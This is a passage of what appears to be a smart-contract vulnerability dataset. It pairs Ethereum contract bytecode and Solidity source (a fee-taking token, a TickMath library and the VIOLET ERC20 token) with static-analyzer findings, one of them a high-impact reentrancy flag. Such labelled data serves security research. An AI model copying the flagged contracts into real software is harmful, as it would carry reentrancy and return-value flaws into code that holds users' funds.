6004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610429565b6002600a556008600b556000546001600160a01b03848116911614801590610c8957506000546001600160a01b03838116911614155b15610e68576001600160a01b03831660009081526006602052604090205460ff16158015610cd057506001600160a01b03821660009081526006602052604090205460ff16155b610cd957600080fd5b600f546001600160a01b038481169116148015610d045750600e546001600160a01b03838116911614155b8015610d2957506001600160a01b03821660009081526005602052604090205460ff16155b8015610d3e5750600f54600160b81b900460ff165b15610d9b57601054811115610d5257600080fd5b6001600160a01b0382166000908152600760205260409020544211610d7657600080fd5b610d8142601e6118d4565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610dc65750600e546001600160a01b03848116911614155b8015610deb57506001600160a01b03831660009081526005602052604090205460ff16155b15610dfb576002600a908155600b555b6000610e06306104c8565b600f54909150600160a81b900460ff16158015610e315750600f546001600160a01b03858116911614155b8015610e465750600f54600160b01b900460ff165b15610e6657610e5481610fbb565b478015610e6457610e6447610eb2565b505b505b610e73838383611160565b505050565b60008184841115610e9c5760405162461bcd60e51b815260040161042991906117dc565b506000610ea9848661192b565b95945050505050565b600c546001600160a01b03166108fc610ecc83600261116b565b6040518115909202916000818181858888f19350505050158015610ef4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f0f83600261116b565b6040518115909202916000818181858888f1935050505015801561060b573d6000803e3d6000fd5b6000600854821115610f9e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610429565b6000610fa86111ad565b9050610fb4838261116b565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061101157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561106557600080fd5b505afa158015611079573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109d91906115f1565b816001815181106110be57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546110e49130911684610a07565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061111d908590600090869030904290600401611864565b600060405180830381600087803b15801561113757600080fd5b505af115801561114b573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e738383836111d0565b6000610fb483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112c7565b60008060006111ba6112f5565b90925090506111c9828261116b565b9250505090565b6000806000806000806111e287611335565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112149087611392565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461124390866113d4565b6001600160a01b03891660009081526002602052604090205561126581611433565b61126f848361147d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112b491815260200190565b60405180910390a3505050505050505050565b600081836112e85760405162461bcd60e51b815260040161042991906117dc565b506000610ea984866118ec565b6008546000908190678ac7230489e80000611310828261116b565b82101561132c57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113528a600a54600b546114a1565b92509250925060006113626111ad565b905060008060006113758e8787876114f6565b919e509c509a509598509396509194505050505091939550919395565b6000610fb483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e78565b6000806113e183856118d4565b905083811015610fb45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610429565b600061143d6111ad565b9050600061144b8383611546565b3060009081526002602052604090205490915061146890826113d4565b30600090815260026020526040902055505050565b60085461148a9083611392565b60085560095461149a90826113d4565b6009555050565b60008080806114bb60646114b58989611546565b9061116b565b905060006114ce60646114b58a89611546565b905060006114e6826114e08b86611392565b90611392565b9992985090965090945050505050565b60008080806115058886611546565b905060006115138887611546565b905060006115218888611546565b90506000611533826114e08686611392565b939b939a50919850919650505050505050565b60008261155557506000610390565b6000611561838561190c565b90508261156e85836118ec565b14610fb45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610429565b80356115d081611989565b919050565b6000602082840312156115e6578081fd5b8135610fb481611989565b600060208284031215611602578081fd5b8151610fb481611989565b6000806040838503121561161f578081fd5b823561162a81611989565b9150602083013561163a81611989565b809150509250929050565b600080600060608486031215611659578081fd5b833561166481611989565b9250602084013561167481611989565b929592945050506040919091013590565b60008060408385031215611697578182fd5b82356116a281611989565b946020939093013593505050565b600060208083850312156116c2578182fd5b823567ffffffffffffffff808211156116d9578384fd5b818501915085601f8301126116ec578384fd5b8135818111156116fe576116fe611973565b8060051b604051601f19603f8301168101818110858211171561172357611723611973565b604052828152858101935084860182860187018a1015611741578788fd5b8795505b8386101561176a57611756816115c5565b855260019590950194938601938601611745565b5098975050505050505050565b600060208284031215611788578081fd5b8135610fb48161199e565b6000602082840312156117a4578081fd5b8151610fb48161199e565b6000806000606084860312156117c3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611808578581018301518582016040015282016117ec565b818111156118195783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156118b35784516001600160a01b03168352938301939183019160010161188e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156118e7576118e761195d565b500190565b60008261190757634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156119265761192661195d565b500290565b60008282101561193d5761193d61195d565b500390565b60006000198214156119565761195661195d565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104c557600080fd5b80151581146104c557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208eb73a01f892eda05d0819b9aa02ee4881ef9cca7a1af991ff4357343a14646564736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,070
0x6Ae6CECaa083F7245abf8F96e79d338C6fB297fA
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity ^0.5.0; /// @title Math library for computing sqrt prices from ticks and vice versa /// @notice Computes sqrt price for ticks of size 1.0001, i.e. sqrt(1.0001^tick) as fixed point Q64.96 numbers. Supports /// prices between 2**-128 and 2**128 library TickMathV1 { /// @dev The minimum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**-128 int24 internal constant MIN_TICK = -887272; /// @dev The maximum tick that may be passed to #getSqrtRatioAtTick computed from log base 1.0001 of 2**128 int24 internal constant MAX_TICK = -MIN_TICK; /// @dev The minimum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MIN_TICK) uint160 internal constant MIN_SQRT_RATIO = 4295128739; /// @dev The maximum value that can be returned from #getSqrtRatioAtTick. Equivalent to getSqrtRatioAtTick(MAX_TICK) uint160 internal constant MAX_SQRT_RATIO = 1461446703485210103287273052203988822378723970342; /// @notice Calculates sqrt(1.0001^tick) * 2^96 /// @dev Throws if |tick| > max tick /// @param tick The input tick for the above formula /// @return sqrtPriceX96 A Fixed point Q64.96 number representing the sqrt of the ratio of the two assets (token1/token0) /// at the given tick function getSqrtRatioAtTick(int24 tick) public pure returns (uint160 sqrtPriceX96) { uint256 absTick = tick < 0 ? uint256(-int256(tick)) : uint256(int256(tick)); require(absTick <= uint256(MAX_TICK), 'T'); uint256 ratio = absTick & 0x1 != 0 ? 0xfffcb933bd6fad37aa2d162d1a594001 : 0x100000000000000000000000000000000; if (absTick & 0x2 != 0) ratio = (ratio * 0xfff97272373d413259a46990580e213a) >> 128; if (absTick & 0x4 != 0) ratio = (ratio * 0xfff2e50f5f656932ef12357cf3c7fdcc) >> 128; if (absTick & 0x8 != 0) ratio = (ratio * 0xffe5caca7e10e4e61c3624eaa0941cd0) >> 128; if (absTick & 0x10 != 0) ratio = (ratio * 0xffcb9843d60f6159c9db58835c926644) >> 128; if (absTick & 0x20 != 0) ratio = (ratio * 0xff973b41fa98c081472e6896dfb254c0) >> 128; if (absTick & 0x40 != 0) ratio = (ratio * 0xff2ea16466c96a3843ec78b326b52861) >> 128; if (absTick & 0x80 != 0) ratio = (ratio * 0xfe5dee046a99a2a811c461f1969c3053) >> 128; if (absTick & 0x100 != 0) ratio = (ratio * 0xfcbe86c7900a88aedcffc83b479aa3a4) >> 128; if (absTick & 0x200 != 0) ratio = (ratio * 0xf987a7253ac413176f2b074cf7815e54) >> 128; if (absTick & 0x400 != 0) ratio = (ratio * 0xf3392b0822b70005940c7a398e4b70f3) >> 128; if (absTick & 0x800 != 0) ratio = (ratio * 0xe7159475a2c29b7443b29c7fa6e889d9) >> 128; if (absTick & 0x1000 != 0) ratio = (ratio * 0xd097f3bdfd2022b8845ad8f792aa5825) >> 128; if (absTick & 0x2000 != 0) ratio = (ratio * 0xa9f746462d870fdf8a65dc1f90e061e5) >> 128; if (absTick & 0x4000 != 0) ratio = (ratio * 0x70d869a156d2a1b890bb3df62baf32f7) >> 128; if (absTick & 0x8000 != 0) ratio = (ratio * 0x31be135f97d08fd981231505542fcfa6) >> 128; if (absTick & 0x10000 != 0) ratio = (ratio * 0x9aa508b5b7a84e1c677de54f3e99bc9) >> 128; if (absTick & 0x20000 != 0) ratio = (ratio * 0x5d6af8dedb81196699c329225ee604) >> 128; if (absTick & 0x40000 != 0) ratio = (ratio * 0x2216e584f5fa1ea926041bedfe98) >> 128; if (absTick & 0x80000 != 0) ratio = (ratio * 0x48a170391f7dc42444e8fa2) >> 128; if (tick > 0) ratio = uint256(-1) / ratio; // this divides by 1<<32 rounding up to go from a Q128.128 to a Q128.96. // we then downcast because we know the result always fits within 160 bits due to our tick input constraint // we round up in the division so getTickAtSqrtRatio of the output price is always consistent sqrtPriceX96 = uint160((ratio >> 32) + (ratio % (1 << 32) == 0 ? 0 : 1)); } /// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio /// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may /// ever return. /// @param sqrtPriceX96 The sqrt ratio for which to compute the tick as a Q64.96 /// @return tick The greatest tick for which the ratio is less than or equal to the input ratio function getTickAtSqrtRatio(uint160 sqrtPriceX96) public pure returns (int24 tick) { // second inequality must be < because the price can never reach the price at the max tick require(sqrtPriceX96 >= MIN_SQRT_RATIO && sqrtPriceX96 < MAX_SQRT_RATIO, 'R'); uint256 ratio = uint256(sqrtPriceX96) << 32; uint256 r = ratio; uint256 msb = 0; assembly { let f := shl(7, gt(r, 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(6, gt(r, 0xFFFFFFFFFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(5, gt(r, 0xFFFFFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(4, gt(r, 0xFFFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(3, gt(r, 0xFF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(2, gt(r, 0xF)) msb := or(msb, f) r := shr(f, r) } assembly { let f := shl(1, gt(r, 0x3)) msb := or(msb, f) r := shr(f, r) } assembly { let f := gt(r, 0x1) msb := or(msb, f) } if (msb >= 128) r = ratio >> (msb - 127); else r = ratio << (127 - msb); int256 log_2 = (int256(msb) - 128) << 64; assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(63, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(62, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(61, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(60, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(59, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(58, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(57, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(56, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(55, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(54, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(53, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(52, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(51, f)) r := shr(f, r) } assembly { r := shr(127, mul(r, r)) let f := shr(128, r) log_2 := or(log_2, shl(50, f)) } int256 log_sqrt10001 = log_2 * 255738958999603826347141; // 128.128 number int24 tickLow = int24((log_sqrt10001 - 3402992956809132418596140100660247210) >> 128); int24 tickHi = int24((log_sqrt10001 + 291339464771989622907027621153398088495) >> 128); tick = tickLow == tickHi ? tickLow : getSqrtRatioAtTick(tickHi) <= sqrtPriceX96 ? tickHi : tickLow; } }
0x736ae6cecaa083f7245abf8f96e79d338c6fb297fa30146080604052600436106100405760003560e01c80634f76c05814610045578063986cfba314610084575b600080fd5b61006b6004803603602081101561005b57600080fd5b50356001600160a01b03166100c0565b60408051600292830b90920b8252519081900360200190f35b6100a46004803603602081101561009a57600080fd5b503560020b6103e8565b604080516001600160a01b039092168252519081900360200190f35b60006401000276a36001600160a01b038316108015906100fc575073fffd8963efd1fc6a506488495d951d5263988d266001600160a01b038316105b610131576040805162461bcd60e51b81526020600482015260016024820152602960f91b604482015290519081900360640190fd5b640100000000600160c01b03602083901b166fffffffffffffffffffffffffffffffff811160071b81811c67ffffffffffffffff811160061b90811c63ffffffff811160051b90811c61ffff811160041b90811c60ff8111600390811b91821c600f811160021b90811c918211600190811b92831c979088119617909417909217179091171717608081106101ce57607f810383901c91506101d8565b80607f0383901b91505b908002607f81811c60ff83811c9190911c800280831c81831c1c800280841c81841c1c800280851c81851c1c800280861c81861c1c800280871c81871c1c800280881c81881c1c800280891c81891c1c8002808a1c818a1c1c8002808b1c818b1c1c8002808c1c818c1c1c8002808d1c818d1c1c8002808e1c9c81901c9c909c1c80029c8d901c9e9d607f198f0160401b60c09190911c678000000000000000161760c19b909b1c674000000000000000169a909a1760c29990991c672000000000000000169890981760c39790971c671000000000000000169690961760c49590951c670800000000000000169490941760c59390931c670400000000000000169290921760c69190911c670200000000000000161760c79190911c670100000000000000161760c89190911c6680000000000000161760c99190911c6640000000000000161760ca9190911c6620000000000000161760cb9190911c6610000000000000161760cc9190911c6608000000000000161760cd9190911c66040000000000001617693627a301d71055774c8581026f028f6481ab7f045a5af012a19d003aa9198101608090811d906fdb2df09e81959a81455e260799a0632f8301901d600281810b9083900b146103d957886001600160a01b03166103bd826103e8565b6001600160a01b031611156103d257816103d4565b805b6103db565b815b9998505050505050505050565b60008060008360020b126103ff578260020b610407565b8260020b6000035b9050620d89e8811115610445576040805162461bcd60e51b81526020600482015260016024820152601560fa1b604482015290519081900360640190fd5b60006001821661045957600160801b61046b565b6ffffcb933bd6fad37aa2d162d1a5940015b70ffffffffffffffffffffffffffffffffff169050600282161561049f576ffff97272373d413259a46990580e213a0260801c5b60048216156104be576ffff2e50f5f656932ef12357cf3c7fdcc0260801c5b60088216156104dd576fffe5caca7e10e4e61c3624eaa0941cd00260801c5b60108216156104fc576fffcb9843d60f6159c9db58835c9266440260801c5b602082161561051b576fff973b41fa98c081472e6896dfb254c00260801c5b604082161561053a576fff2ea16466c96a3843ec78b326b528610260801c5b6080821615610559576ffe5dee046a99a2a811c461f1969c30530260801c5b610100821615610579576ffcbe86c7900a88aedcffc83b479aa3a40260801c5b610200821615610599576ff987a7253ac413176f2b074cf7815e540260801c5b6104008216156105b9576ff3392b0822b70005940c7a398e4b70f30260801c5b6108008216156105d9576fe7159475a2c29b7443b29c7fa6e889d90260801c5b6110008216156105f9576fd097f3bdfd2022b8845ad8f792aa58250260801c5b612000821615610619576fa9f746462d870fdf8a65dc1f90e061e50260801c5b614000821615610639576f70d869a156d2a1b890bb3df62baf32f70260801c5b618000821615610659576f31be135f97d08fd981231505542fcfa60260801c5b6201000082161561067a576f09aa508b5b7a84e1c677de54f3e99bc90260801c5b6202000082161561069a576e5d6af8dedb81196699c329225ee6040260801c5b620400008216156106b9576d2216e584f5fa1ea926041bedfe980260801c5b620800008216156106d6576b048a170391f7dc42444e8fa20260801c5b60008460020b13156106f15780600019816106ed57fe5b0490505b640100000000810615610705576001610708565b60005b60ff16602082901c019250505091905056fea265627a7a72315820ae640d7c8c08fc91c568424d999803c6956857363cdbc3ac03f1b4a608c73f6164736f6c63430005110032
{"success": true, "error": null, "results": {}}
5,071
0xD4078bdB652610Ad5383A747d130cbe905911102
pragma solidity 0.4.20; // ---------------------------------------------------------------------------- // 'VIOLET' 'VIOLET Token' token contract // // Symbol : VAI // Name : VIOLET // Total supply: 250,000,000.000000000000000000 // Decimals : 18 // // Enjoy. // // (c) Viola.AI Tech Pte Ltd 2018. The MIT Licence. // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed burner, uint256 value); } // ---------------------------------------------------------------------------- // VIOLET ERC20 Standard Token // ---------------------------------------------------------------------------- contract VLTToken is ERC20Interface { using SafeMath for uint256; address public owner = msg.sender; bytes32 public symbol; bytes32 public name; uint8 public decimals; uint256 public _totalSupply; mapping(address => uint256) internal balances; mapping(address => mapping (address => uint256)) internal allowed; modifier onlyOwner() { require(msg.sender == owner); _; } // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function VLTToken() public { symbol = "VAI"; name = "VIOLET"; decimals = 18; _totalSupply = 250000000 * 10**uint256(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { // allow sending 0 tokens if (_value == 0) { Transfer(msg.sender, _to, _value); // Follow the spec to louch the event when transfer 0 return; } require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { // allow sending 0 tokens if (_value == 0) { Transfer(_from, _to, _value); // Follow the spec to louch the event when transfer 0 return; } require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); _totalSupply = _totalSupply.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } /** * Destroy tokens from other account * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool) { require(_value <= balances[_from]); // Check if the targeted balance is enough require(_value <= allowed[_from][msg.sender]); // Check allowed allowance balances[_from] = balances[_from].sub(_value); // Subtract from the targeted balance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); // Subtract from the sender's allowance _totalSupply = _totalSupply.sub(_value); // Update totalSupply Burn(_from, _value); Transfer(_from, address(0), _value); return true; } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461011c57806318160ddd1461017657806323b872dd1461019f578063313ce567146102185780633eaaf86b1461024757806342966c6814610270578063661884631461029357806370a08231146102ed57806379cc67901461033a5780638da5cb5b1461039457806395d89b41146103e9578063a9059cbb1461041a578063d73dd62314610474578063dc39d06d146104ce578063dd62ed3e14610528575b600080fd5b34156100f657600080fd5b6100fe610594565b60405180826000191660001916815260200191505060405180910390f35b341561012757600080fd5b61015c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061059a565b604051808215151515815260200191505060405180910390f35b341561018157600080fd5b61018961068c565b6040518082815260200191505060405180910390f35b34156101aa57600080fd5b6101fe600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610696565b604051808215151515815260200191505060405180910390f35b341561022357600080fd5b61022b610ac9565b604051808260ff1660ff16815260200191505060405180910390f35b341561025257600080fd5b61025a610adc565b6040518082815260200191505060405180910390f35b341561027b57600080fd5b6102916004808035906020019091905050610ae2565b005b341561029e57600080fd5b6102d3600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c9d565b604051808215151515815260200191505060405180910390f35b34156102f857600080fd5b610324600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f2e565b6040518082815260200191505060405180910390f35b341561034557600080fd5b61037a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f77565b604051808215151515815260200191505060405180910390f35b341561039f57600080fd5b6103a76112cf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103f457600080fd5b6103fc6112f4565b60405180826000191660001916815260200191505060405180910390f35b341561042557600080fd5b61045a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506112fa565b604051808215151515815260200191505060405180910390f35b341561047f57600080fd5b6104b4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611592565b604051808215151515815260200191505060405180910390f35b34156104d957600080fd5b61050e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061178e565b604051808215151515815260200191505060405180910390f35b341561053357600080fd5b61057e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118da565b6040518082815260200191505060405180910390f35b60025481565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600454905090565b60008082141561070a578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3610ac2565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561074657600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561079457600080fd5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561081f57600080fd5b61087182600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090682600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197a90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109d882600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600360009054906101000a900460ff1681565b60045481565b6000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b3257600080fd5b339050610b8782600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196190919063ffffffff16565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bdf8260045461196190919063ffffffff16565b6004819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca583604